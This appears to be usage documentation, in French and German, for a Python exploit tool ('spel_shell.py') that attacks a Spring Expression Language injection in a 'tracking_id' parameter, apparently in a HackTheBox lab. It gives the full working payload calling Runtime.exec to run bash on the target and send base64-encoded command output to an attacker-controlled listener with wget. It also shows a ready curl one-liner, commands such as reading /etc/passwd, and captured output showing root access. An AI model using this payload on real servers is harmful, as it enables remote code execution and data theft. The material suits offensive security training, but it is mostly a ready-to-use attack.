TARGET = "http://<IP_CIBLE>:8080/search"   # URL de la cible
LHOST = "<VOTRE_IP>"                        # IP locale (tun0 pour HTB)
LPORT = 80                                  # Port d'écoute

# Einfacher Befehl
python3 spel_shell.py "whoami"

# Befehl mit Pipe
python3 spel_shell.py "cat /etc/passwd"

# Systemenumeration
python3 spel_shell.py "uname -a"

# Netzwerkzugriff prüfen
python3 spel_shell.py "curl -s http://httpbin.org/get"

[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==

[+] Command output:

root

# Terminal 1: Listener starten
python3 -m http.server 80

# Terminal 2: Payload senden
curl -X POST \
  -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
  http://<IP_CIBLE>:8080/search

# Überprüfen, welcher Prozess den Port verwendet
sudo netstat -tlnp | grep :80

# Apache stoppen, falls aktiv
sudo systemctl stop apache2

# Oder einen anderen Port verwenden
# Ändern Sie LPORT im Skript und testen Sie

1. start_server() - Startet einen HTTP-Server auf Port 80
                   ↓
2. Sendet das SpEL-Payload per curl an das Ziel
                   ↓
3. Das Ziel führt den Befehl aus und kodiert das Ergebnis in Base64
                   ↓
4. wget sendet das Ergebnis an den Listener (GET http://LHOST:LPORT/<data>)
                   ↓
5. Der Handler empfängt die Daten und speichert sie
                   ↓
6. Das Skript dekodiert und zeigt das Ergebnis an